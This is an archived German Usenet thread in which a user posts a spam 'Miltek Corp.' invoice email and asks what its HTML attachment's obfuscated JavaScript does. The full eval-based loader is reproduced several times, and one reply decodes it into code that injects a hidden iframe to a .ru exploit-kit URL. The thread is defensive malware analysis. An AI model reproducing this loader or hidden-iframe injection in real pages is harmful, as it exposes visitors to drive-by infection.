Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss
Verdächtiger HTML Anhang mit Javascript Code
13 views
Skip to first unread message
Thomas Kordel
Mar 8, 2012, 5:44:42 PM3/8/12
to
Hallo,
hab heute eine Rechnung von der äußerst seriösen Miltek Corp. erhalten. ;-)
Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
Interessierte Grüße
Thomas
-------- Original-Nachricht --------
Return-Path: <CodyL...@objectiv.be>
Received: from bill.daybyday.de (bill.daybyday.de [192.168.30.13]) by
mike.daybyday.de (Postfix) with ESMTP id 47CDF34A0B6 for
<richar...@berlin.de>; Thu, 8 Mar 2012 23:17:26 +0100 (CET)
Received: by bill.daybyday.de (Postfix, from userid 1004) id
2E20E444071; Thu, 8 Mar 2012 23:17:26 +0100 (CET)
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.97.3 at david
Received: from mailout02.kenai.com (mailout02.kenai.com
[192.9.171.175]) by bill.daybyday.de (Postfix) with ESMTP id 6022644404E
for <>; Thu, 8 Mar 2012 23:17:23 +0100 (CET)
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.97.3 at david
Received: from mail01.openoffice.org (ooxmlm01z1.network.org
[192.9.171.118]) by mailout02.kenai.com (Postfix) with ESMTP id
4028B60715E for <>; Thu, 8 Mar 2012 22:17:22 +0000
(GMT)
Received: by mail01.openoffice.org (Postfix) id 0383E4E2498; Thu, 8 Mar
2012 22:17:22 +0000 (GMT)
Delivered-To:
Received: from mailin02.kenai.com (mailin02.network.org
[192.9.171.174]) by mail01.openoffice.org (Postfix) with ESMTP id
6F37F4E2497; Thu, 8 Mar 2012 22:17:19 +0000 (GMT)
Received: from localhost (localhost [127.0.0.1]) by mailin02.kenai.com
(Postfix) with ESMTP id 1AF3332B8D9; Thu, 8 Mar 2012 22:17:19 +0000 (GMT)
X-Virus-Scanned: amavisd-new at network.org
Received: from mailin02.kenai.com ([127.0.0.1]) by localhost
(mailin02.network.org [127.0.0.1]) (amavisd-new, port 10025) with ESMTP
id frULynLZK2u6; Thu, 8 Mar 2012 22:17:16 +0000 (GMT)
Received: from paulo-pc (unknown [189.90.179.200]) by
mailin02.kenai.com (Postfix) with ESMTP id DFCAB32B8CD; Thu, 8 Mar 2012
22:17:14 +0000 (GMT)
Received: from paulo-pc by mail.objectiv.be; Thu, 8 Mar 2012 05:17:14 -0300
Date: Thu, 8 Mar 2012 05:17:14 -0300
From: LEONARDA LONGORIA Miltek Corp. <CodyL...@objectiv.be>
Reply-To: LEONARDA LONGORIA Miltek Corp. <CodyL...@objectiv.be>
X-Priority: 3 (Normal)
Message-ID: <484809582.20...@objectiv.be>
To:
Subject: Re: Inter-company invoice from Miltek Corp.
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------BB486E6E6705A8D"
X-Spam-Status: No, score=0.3 required=5.0
tests=BAYES_60,DATE_IN_PAST_12_24,
HTML_MESSAGE,RCVD_IN_DNSWL_MED,T_HTML_ATTACH autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on bill.daybyday.de
X-DBD-SpLv-177712: No
Hi
Attached the corp. invoice for the period July 2011 til Aug. 2011.
Thanks a lot for supporting this process
LEONARDA LONGORIA
Miltek Corp.
Attachment:
<---- HTML Code: Invoice_7K0275.htm ---->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Loading your file.Wait Please.</title>
</head>
<body>
<h2>Please Wait... Loading... </h2><br>
</body>
<script>d=Date;d=new
d();if(d.getFullYear()==2012)h=-parseInt('012')/5;if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='from'+'Char';f+='Code';}ee='e';e=window[zz];t='y';}
n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p15p58.5p51.5p49p57p51p29.5p18.5p23.5p23p18.5p15p51p49.5p51.5p50.5p51p57p29.5p18.5p23.5p23p18.5p15p56.5p57p59.5p53p49.5p29.5p18.5p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p28p51p51.5p49p49p49.5p54p28.5p55p54.5p56.5p51.5p57p51.5p54.5p54p28p47.5p48p56.5p54.5p53p57.5p57p49.5p28.5p53p49.5p50p57p28p23p28.5p57p54.5p55p28p23p28.5p18.5p30p29p22.5p51.5
p50p56p47.5p53.5p49.5p30p16p19.5p28.5p5.5p3.5p3.5p61.5p5.5p3.5p3.5p50p57.5p54p48.5p57p51.5p54.5p54p15p51.5p50p56p47.5p53.5p49.5p56p19p19.5p60.5p5.5p3.5p3.5p3.5p58p47.5p56p15p50p15p29.5p15p49p54.5p48.5p57.5p53.5p49.5p54p57p22p48.5p56p49.5p47.5p57p49.5p33.5p53p49.5p53.5p49.5p54p57p19p18.5p51.5p50p56p47.5p53.5p49.5p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p56.5p56p48.5p18.5p21p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p19.5p28.5p50p22p56.5p57p59.5p53p49.5p22p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p29.5p18.5p51p51.5p49p49p49.5p54p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p55p54.5p56.5p51.5p57p51.5p54.5p54p29.5p18.5p47.5p48p56.5p54.5p53p57.5p57p49.5p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p53p49.5p50p57p29.5p18.5p23p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p57p54.5p55p29.5p18.5p23p18.5p28.5
p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p58.5p51.5p49p57p51p18.5p21p18.5p23.5p23p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p51p49.5p51.5p50.5p51p57p18.5p21p18.5p23.5p23p18.5p19.5p28.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p22p47.5p55p55p49.5p54p49p32.5p51p51.5p53p49p19p50p19.5p28.5p5.5p3.5p3.5p61.5".split("p");for(i=0;i<609;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);</script>
</html>
<---- HTML Code: Invoice_7K0275.htm ---->
hab heute eine Rechnung von der äußerst seriösen Miltek Corp. erhalten. ;-)
Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
Interessierte Grüße
Thomas
-------- Original-Nachricht --------
Return-Path: <CodyL...@objectiv.be>
Received: from bill.daybyday.de (bill.daybyday.de [192.168.30.13]) by
mike.daybyday.de (Postfix) with ESMTP id 47CDF34A0B6 for
<richar...@berlin.de>; Thu, 8 Mar 2012 23:17:26 +0100 (CET)
Received: by bill.daybyday.de (Postfix, from userid 1004) id
2E20E444071; Thu, 8 Mar 2012 23:17:26 +0100 (CET)
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.97.3 at david
Received: from mailout02.kenai.com (mailout02.kenai.com
[192.9.171.175]) by bill.daybyday.de (Postfix) with ESMTP id 6022644404E
for <>; Thu, 8 Mar 2012 23:17:23 +0100 (CET)
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.97.3 at david
Received: from mail01.openoffice.org (ooxmlm01z1.network.org
[192.9.171.118]) by mailout02.kenai.com (Postfix) with ESMTP id
4028B60715E for <>; Thu, 8 Mar 2012 22:17:22 +0000
(GMT)
Received: by mail01.openoffice.org (Postfix) id 0383E4E2498; Thu, 8 Mar
2012 22:17:22 +0000 (GMT)
Delivered-To:
Received: from mailin02.kenai.com (mailin02.network.org
[192.9.171.174]) by mail01.openoffice.org (Postfix) with ESMTP id
6F37F4E2497; Thu, 8 Mar 2012 22:17:19 +0000 (GMT)
Received: from localhost (localhost [127.0.0.1]) by mailin02.kenai.com
(Postfix) with ESMTP id 1AF3332B8D9; Thu, 8 Mar 2012 22:17:19 +0000 (GMT)
X-Virus-Scanned: amavisd-new at network.org
Received: from mailin02.kenai.com ([127.0.0.1]) by localhost
(mailin02.network.org [127.0.0.1]) (amavisd-new, port 10025) with ESMTP
id frULynLZK2u6; Thu, 8 Mar 2012 22:17:16 +0000 (GMT)
Received: from paulo-pc (unknown [189.90.179.200]) by
mailin02.kenai.com (Postfix) with ESMTP id DFCAB32B8CD; Thu, 8 Mar 2012
22:17:14 +0000 (GMT)
Received: from paulo-pc by mail.objectiv.be; Thu, 8 Mar 2012 05:17:14 -0300
Date: Thu, 8 Mar 2012 05:17:14 -0300
From: LEONARDA LONGORIA Miltek Corp. <CodyL...@objectiv.be>
Reply-To: LEONARDA LONGORIA Miltek Corp. <CodyL...@objectiv.be>
X-Priority: 3 (Normal)
Message-ID: <484809582.20...@objectiv.be>
To:
Subject: Re: Inter-company invoice from Miltek Corp.
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------BB486E6E6705A8D"
X-Spam-Status: No, score=0.3 required=5.0
tests=BAYES_60,DATE_IN_PAST_12_24,
HTML_MESSAGE,RCVD_IN_DNSWL_MED,T_HTML_ATTACH autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on bill.daybyday.de
X-DBD-SpLv-177712: No
Hi
Attached the corp. invoice for the period July 2011 til Aug. 2011.
Thanks a lot for supporting this process
LEONARDA LONGORIA
Miltek Corp.
Attachment:
<---- HTML Code: Invoice_7K0275.htm ---->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Loading your file.Wait Please.</title>
</head>
<body>
<h2>Please Wait... Loading... </h2><br>
</body>
<script>d=Date;d=new
d();if(d.getFullYear()==2012)h=-parseInt('012')/5;if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='from'+'Char';f+='Code';}ee='e';e=window[zz];t='y';}
n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p15p58.5p51.5p49p57p51p29.5p18.5p23.5p23p18.5p15p51p49.5p51.5p50.5p51p57p29.5p18.5p23.5p23p18.5p15p56.5p57p59.5p53p49.5p29.5p18.5p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p28p51p51.5p49p49p49.5p54p28.5p55p54.5p56.5p51.5p57p51.5p54.5p54p28p47.5p48p56.5p54.5p53p57.5p57p49.5p28.5p53p49.5p50p57p28p23p28.5p57p54.5p55p28p23p28.5p18.5p30p29p22.5p51.5
p50p56p47.5p53.5p49.5p30p16p19.5p28.5p5.5p3.5p3.5p61.5p5.5p3.5p3.5p50p57.5p54p48.5p57p51.5p54.5p54p15p51.5p50p56p47.5p53.5p49.5p56p19p19.5p60.5p5.5p3.5p3.5p3.5p58p47.5p56p15p50p15p29.5p15p49p54.5p48.5p57.5p53.5p49.5p54p57p22p48.5p56p49.5p47.5p57p49.5p33.5p53p49.5p53.5p49.5p54p57p19p18.5p51.5p50p56p47.5p53.5p49.5p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p56.5p56p48.5p18.5p21p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p19.5p28.5p50p22p56.5p57p59.5p53p49.5p22p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p29.5p18.5p51p51.5p49p49p49.5p54p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p55p54.5p56.5p51.5p57p51.5p54.5p54p29.5p18.5p47.5p48p56.5p54.5p53p57.5p57p49.5p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p53p49.5p50p57p29.5p18.5p23p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p57p54.5p55p29.5p18.5p23p18.5p28.5
p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p58.5p51.5p49p57p51p18.5p21p18.5p23.5p23p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p51p49.5p51.5p50.5p51p57p18.5p21p18.5p23.5p23p18.5p19.5p28.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p22p47.5p55p55p49.5p54p49p32.5p51p51.5p53p49p19p50p19.5p28.5p5.5p3.5p3.5p61.5".split("p");for(i=0;i<609;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);</script>
</html>
<---- HTML Code: Invoice_7K0275.htm ---->
Christoph Maercker
Mar 9, 2012, 2:11:47 AM3/9/12
to
Thomas Kordel wrote:
> Hallo,
> hab heute eine Rechnung von der äußerst seriösen Miltek Corp. erhalten. ;-)
> Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
> Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
> nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
>
> -------- Original-Nachricht --------
> Hallo,
> hab heute eine Rechnung von der äußerst seriösen Miltek Corp. erhalten. ;-)
> Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
> Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
> nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
>
...
> Attachment:
> <---- HTML Code: Invoice_7K0275.htm ---->
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
> "http://www.w3.org/TR/html4/loose.dtd">
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
> <title>Loading your file.Wait Please.</title>
> </head>
> <body>
> <h2>Please Wait... Loading... </h2><br>
> </body>
>
> <script>d=Date;d=new
> d();if(d.getFullYear()==2012)h=-parseInt('012')/5;if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='from'+'Char';f+='Code';}ee='e';e=window[zz];t='y';}
> n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p15p58.5p51.5p49p57p51p29.5p18.5p23.5p23p18.5p15p51p49.5p51.5p50.5p51p57p29.5p18.5p23.5p23p18.5p15p56.5p57p59.5p53p49.5p29.5p18.5p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p28p51p51.5p49p49p49.5p54p28.5p55p54.5p56.5p51.5p57p51.5p54.5p54p28p47.5p48p56.5p54.5p53p57.5p57p49.5p28.5p53p49.5p50p57p28p23p28.5p57p54.5p55p28p23p28.5p18.5p30p29p22.5p51.5
> p50p56p47.5p53.5p49.5p30p16p19.5p28.5p5.5p3.5p3.5p61.5p5.5p3.5p3.5p50p57.5p54p48.5p57p51.5p54.5p54p15p51.5p50p56p47.5p53.5p49.5p56p19p19.5p60.5p5.5p3.5p3.5p3.5p58p47.5p56p15p50p15p29.5p15p49p54.5p48.5p57.5p53.5p49.5p54p57p22p48.5p56p49.5p47.5p57p49.5p33.5p53p49.5p53.5p49.5p54p57p19p18.5p51.5p50p56p47.5p53.5p49.5p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p56.5p56p48.5p18.5p21p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p19.5p28.5p50p22p56.5p57p59.5p53p49.5p22p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p29.5p18.5p51p51.5p49p49p49.5p54p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p55p54.5p56.5p51.5p57p51.5p54.5p54p29.5p18.5p47.5p48p56.5p54.5p53p57.5p57p49.5p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p53p49.5p50p57p29.5p18.5p23p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p57p54.5p55p29.5p18.5p23p18.5p28.5
> p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p58.5p51.5p49p57p51p18.5p21p18.5p23.5p23p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p51p49.5p51.5p50.5p51p57p18.5p21p18.5p23.5p23p18.5p19.5p28.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p22p47.5p55p55p49.5p54p49p32.5p51p51.5p53p49p19p50p19.5p28.5p5.5p3.5p3.5p61.5".split("p");for(i=0;i<609;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);</script>
Was ist "5pxx" für eine Codierung, ASCII, UTF8, ...? Vielleicht kommt
> <---- HTML Code: Invoice_7K0275.htm ---->
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
> "http://www.w3.org/TR/html4/loose.dtd">
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
> <title>Loading your file.Wait Please.</title>
> </head>
> <body>
> <h2>Please Wait... Loading... </h2><br>
> </body>
>
> <script>d=Date;d=new
> d();if(d.getFullYear()==2012)h=-parseInt('012')/5;if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='from'+'Char';f+='Code';}ee='e';e=window[zz];t='y';}
> n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p15p58.5p51.5p49p57p51p29.5p18.5p23.5p23p18.5p15p51p49.5p51.5p50.5p51p57p29.5p18.5p23.5p23p18.5p15p56.5p57p59.5p53p49.5p29.5p18.5p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p28p51p51.5p49p49p49.5p54p28.5p55p54.5p56.5p51.5p57p51.5p54.5p54p28p47.5p48p56.5p54.5p53p57.5p57p49.5p28.5p53p49.5p50p57p28p23p28.5p57p54.5p55p28p23p28.5p18.5p30p29p22.5p51.5
> p50p56p47.5p53.5p49.5p30p16p19.5p28.5p5.5p3.5p3.5p61.5p5.5p3.5p3.5p50p57.5p54p48.5p57p51.5p54.5p54p15p51.5p50p56p47.5p53.5p49.5p56p19p19.5p60.5p5.5p3.5p3.5p3.5p58p47.5p56p15p50p15p29.5p15p49p54.5p48.5p57.5p53.5p49.5p54p57p22p48.5p56p49.5p47.5p57p49.5p33.5p53p49.5p53.5p49.5p54p57p19p18.5p51.5p50p56p47.5p53.5p49.5p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p56.5p56p48.5p18.5p21p18.5p51p57p57p55p28p22.5p22.5p48.5p56p57.5p51.5p52.5p49p50p54.5p52.5p54p47.5p54.5p50p47.5p22p56p57.5p28p27p23p27p23p22.5p51.5p53.5p47.5p50.5p49.5p56.5p22.5p47.5p57.5p48p53p48p60p49p54p51.5p22p55p51p55p18.5p19.5p28.5p50p22p56.5p57p59.5p53p49.5p22p58p51.5p56.5p51.5p48p51.5p53p51.5p57p59.5p29.5p18.5p51p51.5p49p49p49.5p54p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p55p54.5p56.5p51.5p57p51.5p54.5p54p29.5p18.5p47.5p48p56.5p54.5p53p57.5p57p49.5p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p53p49.5p50p57p29.5p18.5p23p18.5p28.5p50p22p56.5p57p59.5p53p49.5p22p57p54.5p55p29.5p18.5p23p18.5p28.5
> p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p58.5p51.5p49p57p51p18.5p21p18.5p23.5p23p18.5p19.5p28.5p50p22p56.5p49.5p57p31.5p57p57p56p51.5p48p57.5p57p49.5p19p18.5p51p49.5p51.5p50.5p51p57p18.5p21p18.5p23.5p23p18.5p19.5p28.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p22p47.5p55p55p49.5p54p49p32.5p51p51.5p53p49p19p50p19.5p28.5p5.5p3.5p3.5p61.5".split("p");for(i=0;i<609;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);</script>
die Erleuchtung, wenn Du Dir die Mühe machst, die Zahlenkolonnen
wenigstens teilweise zu decodieren.
Dümmstenfalls isses ein Stückchen Programmcode aus Windows Millenium. ;-)
--
CU Christoph Maercker.
Toni Grass
Mar 9, 2012, 3:31:45 AM3/9/12
to
Thomas Kordel wrote:
>Hallo,
>hab heute eine Rechnung von der äußerst seriösen Miltek Corp. erhalten. ;-)
>Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
[...]
>Hallo,
>hab heute eine Rechnung von der äußerst seriösen Miltek Corp. erhalten. ;-)
>Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
Wurm). Je nach verwendetem Mail-Programm bist Du halt Zielgruppe für
automatisches Ausführen oder nicht.
Toni
--
Anyone who gets in between me and my morning coffee should be insecure.
RFC 2324 Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)
Bernd Hohmann
Mar 9, 2012, 4:36:19 AM3/9/12
to
Am 09.03.2012 09:31, schrieb Toni Grass:
>>Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>>Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>>nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
> [...]
>
> Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
> Wurm).
Exploit.
>>Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>>Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>>nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
> [...]
>
> Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
> Wurm).
Die Zahlenkolonne expandiert zu
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe
src='http://cruikdfoknaofa.ru:8080/images/aublbzdni.php' width='10'
height='10'
style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://cruikdfoknaofa.ru:8080/images/aublbzdni.php');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd ein
.swf und dann paar exploits nach.
Siehe hier:
http://wepawet.iseclab.org/view.php?type=js&hash=9b0d5d8ff59d9edca661fe7fcda5de2e&t=1331227884
Bernd
Toni Grass
Mar 9, 2012, 4:55:36 AM3/9/12
to
Bernd Hohmann wrote:
>Am 09.03.2012 09:31, schrieb Toni Grass:
>>>Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>>>Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>>>nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
>> [...]
>>
>> Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
>> Wurm).
>Exploit.
[....]
>Am 09.03.2012 09:31, schrieb Toni Grass:
>>>Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>>>Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>>>nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
>> [...]
>>
>> Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
>> Wurm).
>Exploit.
